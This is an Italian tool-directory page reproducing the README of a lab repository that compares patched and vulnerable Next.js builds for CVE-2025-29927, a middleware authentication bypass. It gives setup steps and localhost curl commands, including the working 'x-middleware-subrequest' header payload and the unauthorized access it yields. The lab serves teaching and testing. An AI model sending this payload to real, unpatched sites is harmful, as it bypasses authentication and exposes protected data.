Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/yeondg/nextjs-cve-2025-29927
Autenticazione e AutorizzazioneAnalisi delle VulnerabilitàSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubyeondg/nextjs-cve-2025-29927

nextjs-cve-2025-29927

vulnerable-nextjs-14-CVE-2025-29927

Vedi Repository
31 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Vulnerabilità del middleware Next.js CVE-2025-29927

Questo repository è un progetto monorepo che consente di confrontare la vulnerabilità del middleware CVE-2025-29927 utilizzando Next.js versione 15.2.3 e Next.js versione 15.1.7.

Descrizione della vulnerabilità

CVE-2025-29927 è una vulnerabilità di sicurezza trovata nel middleware di Next.js che consente di aggirare il middleware di autenticazione tramite l'header x-middleware-subrequest. Questa vulnerabilità interessa le seguenti versioni:

  • Next.js 15.x < 15.2.3
  • Next.js 14.x < 14.2.25
  • Next.js 13.x < 13.5.9 Le versioni sopra indicate sono state risolte aggiornandole alle rispettive versioni patch.

Come eseguire

  1. Clonare il repository.
  2. Installare le dipendenze: pnpm install
  3. Avviare il server di sviluppo: pnpm dev
  4. Accedere a ciascuna app
  • Versione patchata (15.2.3): http://localhost:3000
  • Versione vulnerabile (15.1.7): http://localhost:3001
  1. Accedendo all'endpoint /api/protected senza token, l'accesso viene negato.
root@kitploit:~
$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}

$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}
  1. Fornendo un token valido, è possibile accedere con successo all'endpoint protetto.
root@kitploit:~
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}
  1. Si aggira il middleware sfruttando la vulnerabilità.
root@kitploit:~
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}

Struttura del progetto

root@kitploit:~
nextjs-cve-2025-29927/
├── apps/
│   ├── next15_1_7/  # 취약한 버전
│   └── next15_2_3/  # 패치된 버전
├── packages/
│   └── ui/          # 공유 UI 컴포넌트
└── README.md

Riferimenti

  • Blog di Vercel
  • YouTube di DevStefanCho
  • https://hackyboiz.github.io/2025/03/27/bekim/2025-03-27/
  • https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
  • https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
  • https://github.com/lirantal/vulnerable-nextjs-14-CVE-2025-29927
Scarica lo strumento